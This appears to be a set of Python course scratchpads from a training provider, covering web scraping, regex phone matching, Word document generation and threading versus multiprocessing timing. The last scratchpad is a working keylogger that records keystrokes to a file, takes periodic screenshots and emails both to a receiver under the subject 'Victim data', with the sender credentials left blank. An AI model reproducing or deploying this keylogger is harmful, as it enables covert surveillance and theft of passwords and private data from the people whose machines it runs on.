#         "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p",
#     )
#     sleep(1)
#     message_box.click()
#     message_box.send_keys("Test Message", Keys.ENTER)
#     sleep(1)

# sleep(10)

Scratchpad 21

# # # html = """
# # # <html>
# # #     <head>
# # #         <title>My Application</title>
# # #     </head>
# # #     <body>
# # #         <h1>Hello World</h1>
# # #         <h2>Hello World from H2</h2>
# # #         <p><b>This is some para</b> and this is some more content.</p>
# # #         <p id="special">
# # #             Lorem ipsum dolor sit amet consectetur adipisicing elit. Quas, vitae
# # #             quasi. Itaque hic vero porro animi ipsam, laudantium esse nobis deleniti
# # #             aliquam et sed. At deserunt omnis commodi repellat. Animi!
# # #         </p>
# # #         <ul>
# # #             <li class="red-text">
# # #                 Lorem ipsum dolor sit amet, consectetur adipisicing elit. Cum, facere.
# # #             </li>
# # #             <li class="red-text">
# # #                 Second List item
# # #             </li>
# # #             <li class="red-text">
# # #                 Something else
# # #             </li>
# # #             <li>
# # #                 Last item in the list
# # #             </li>
# # #         </ul>
# # #     </body>
# # # </html>
# # # """

# # # from bs4 import BeautifulSoup

# # # soup = BeautifulSoup(html, "html.parser")

# # # # print(soup.body.h1)
# # # # print(type(soup))

# # # # print(soup.find("h2"))
# # # # print(soup.find("li"))
# # # # print(soup.find_all("li"))
# # # # print(soup.find(id="special"))
# # # # print(soup.find(class_="red-text"))
# # # # print(soup.find_all(class_="red-text"))
# # # # print(soup.find("h2").get_text())
# # # # rt = soup.find(class_="red-text")
# # # # print(rt.find_next_sibling().find_next_sibling())
# # # # print(rt.find_parent().find_parent().find_parent())
# # # # print(soup.find("li")["class"])

# # import requests
# # from bs4 import BeautifulSoup
# # from csv import writer

# # response = requests.get("https://arstechnica.com/")
# # soup = BeautifulSoup(response.text, "html.parser")

# # articles = soup.find_all(class_="article")

# # with open("articles.csv", "w", newline="") as file:
# #     csv_writer = writer(file)
# #     csv_writer.writerow(["title", "excerpt", "author", "date", "link"])

# #     for article in articles:
# #         title = article.find("h2").get_text()
# #         excerpt = article.find(class_="excerpt").get_text()
# #         author = article.find("span").get_text()
# #         date = article.find("time").get_text()
# #         link = article.find("a")["href"]

# #         csv_writer.writerow([title, excerpt, author, date, link])


# import re

# # pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")

# # result = pattern.search(
# #     "Hello world, you can call us at 022 2345 7867 or 02123457865 today!"
# # )
# # print(result.group())

# # result = pattern.findall(
# #     "Hello world, you can call us at 022 2345 7867 or 02123457865 today!"
# # )
# # print(result)


# def extract_phone(inp):
#     phone_re = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
#     return phone_re.findall(inp)


# def validate_landline_no(phone_no):
#     phone_re = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
#     match = phone_re.fullmatch(phone_no)
#     if match:
#         return True
#     return False


# print(validate_landline_no("02223456789"))


# # 21 Jan, 2023
# # 192.168.3.45

import docx
from docx.enum.text import WD_ALIGN_PARAGRAPH

doc = docx.Document()

doc.add_heading("This is some important title", level=0)
doc.add_heading("My semi-important subtitle", level=2)

para = doc.add_paragraph(
    "Lorem ipsum dolor sit amet consectetur adipisicing elit. Aut commodi consequatur repellat inventore fuga ipsa eveniet quae, nulla, ad est incidunt asperiores! Magni beatae deserunt debitis non perspiciatis harum eos."
)
para.add_run("\nHello World")
doc.add_page_break()
doc.add_heading("Another page", level=1)
para2 = doc.add_paragraph(
    "Lorem ipsum dolor sit amet consectetur adipisicing elit. Aut commodi consequatur repellat inventore fuga ipsa eveniet quae, nulla, ad est incidunt asperiores! Magni beatae deserunt debitis non perspiciatis harum eos."
)
para2.alignment = WD_ALIGN_PARAGRAPH.RIGHT

doc.save("my_doc.docx")

from datetime import datetime
import threading
import multiprocessing


def dummy_func(x):
    print(f"Job-{x} started: {datetime.now()}")
    a = []
    for i in range(30000):
        for j in range(2000):
            a.append([i, j])
            a.clear()
    print(f"Job-{x} ended: {datetime.now()}")


start_time = datetime.now()
dummy_func(1)
dummy_func(2)
dummy_func(3)
dummy_func(4)
print(f"Total time taken: {datetime.now() - start_time}")

if __name__ == "__main__":
    t1 = threading.Thread(target=dummy_func, args=(1,))
    t2 = threading.Thread(target=dummy_func, args=(2,))
    t3 = threading.Thread(target=dummy_func, args=(3,))
    t4 = threading.Thread(target=dummy_func, args=(4,))

    start_time = datetime.now()
    t1.start()
    t2.start()
    t3.start()
    t4.start()
    t1.join()
    t2.join()
    t3.join()
    t4.join()
    print(f"Total time taken: {datetime.now() - start_time}")

    p1 = multiprocessing.Process(target=dummy_func, args=(1,))
    p2 = multiprocessing.Process(target=dummy_func, args=(2,))
    p3 = multiprocessing.Process(target=dummy_func, args=(3,))
    p4 = multiprocessing.Process(target=dummy_func, args=(4,))

    start_time = datetime.now()
    p1.start()
    p2.start()
    p3.start()
    p4.start()
    p1.join()
    p2.join()
    p3.join()
    p4.join()
    print(f"Total time taken: {datetime.now() - start_time}")

Scratchpad 22

from pynput.keyboard import Key, Listener
import pyautogui
from time import sleep
import yagmail
from datetime import datetime

count = 0
keys = []

try:

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(str(" "))
                elif k.find("cap_lock") > 0:
                    f.write(str("<CAPS_LOCK>"))
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

    def on_release(key):
        if key == Key.esc:
            return False

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_email():
        receiver_email = ""
        subject = f'Victim data - {datetime.now().strftime("%d-%m-%Y :: %H:%M:%S")}'
        yag = yagmail.SMTP("", "")
        contents = ["<b><font color='red' size='10'>YOUR VICTIM DATA</font></b>"]
        attachments = ["log.txt", "screenshot.png"]
        yag.send(receiver_email, subject, contents, attachments)
        print("Email sent")

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            sleep(20)
            take_screenshot()
            send_email()
        listener.join()

except KeyboardInterrupt:
    print("Program closed")
Learn this on the racks

Reading it is one thing. Configuring it is another.

Our batches run labs like this one end to end on real kit, in the Mumbai classroom or live online, taught by practicing engineers.